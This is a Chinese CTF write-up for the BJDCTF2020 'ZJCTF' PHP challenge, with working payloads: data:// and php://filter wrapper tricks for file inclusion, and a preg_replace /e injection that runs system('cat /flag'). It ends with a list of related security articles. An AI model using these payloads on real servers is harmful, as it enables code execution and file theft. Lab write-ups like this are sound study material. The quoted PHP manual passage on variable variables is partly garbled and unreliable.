[BJDCTF2020]ZJCTF,不过如此

题目源码:

复制代码
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

代码要求我们有两个get参数,首先,代码会检查是否设置了text参数,并且通过file_get_contents()函数读取指定文件的内容。如果读取到的文件内容等于"I have a dream",则会将这个内容显示在页面上。

接下来,代码检查是否设置了file参数,并且使用include()函数包含这个文件。然而,在包含文件之前,代码进行了一些安全性检查。它使用preg_match()函数判断$file中是否包含"flag"字符串,如果包含则输出错误信息并终止脚本执行。

如果以上条件都满足,那么就会包含指定的文件($file

根据提示的next.php,我们去访问它

第一点我们可以用data协议流绕过,

?text=data://text/plain,I have a dream

或者input,两者作用相同

?text=php://input

在post请求体写入I have a dream,然后发现直接给file传文件名读不出内容

需要伪协议读文件,payload:

?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode|convert.base64-encode/resource=next.php

解码得:

复制代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

preg_replace中的/e修正符,指的是如果匹配到了,就会执行preg_replace的第二个参数,也就是代替的内容,这个题里面是strtolower("\\1")

可变变量

有时候使用可变变量名是很方便的。 就是说,一个变量的变量名可以动态的设置和使用。 一个普通的变量通过声明来设置,例如:

<?php
$a = 'hello';
?>

一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。 在上面的例子中 hello 使用了两个美元符号($)以后,就可以作为一个可变变量的变量了。 例如:

<?php
`

a = 'world';` ` ?>`

这时,两个变量都被定义了: a 的内容是"hello"并且 hello 的内容是"world"。 因此,以下语句:

<?php
echo "$a {$$a}";
?>

与以下语句输出完全相同的结果:

<?php
echo "$a $hello";
?>

它们都会输出: hello world 。

要将可变变量用于数组,必须解决一个模棱两可的问题。 这就是当写下 $$a[1] 时,解析器需要知道是想要 a\[1\] 作为一个变量呢,还是想要 a 作为一个变量并取出该变量中索引为 \[1\] 的值。 解决此问题的语法是,对第一种情况用 {a\[1\]} ,对第二种情况用 {$a}[1] 。

类的属性也可以通过可变属性名来访问。 可变属性名将在该调用所处的范围内被解析。 例如,对于 foo-\>bar 表达式,则会在本地范围来解析 bar 并且其值将被用于 foo 的属性名。 对于 $bar 是数组单元时也是一样。引用自:PHP: 可变变量 - Manual

payload:

next.php?\S*=${getFlag()}&cmd=system('cat+/flag');

next.php?\S*=${getflag()}&cmd=show_source('/flag');


深入研究preg_replace与代码执行 - 先知社区

相关推荐
用户962377954481 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954482 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star2 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954482 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行6 天前
网络安全总结
安全·web安全
red1giant_star6 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透7 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全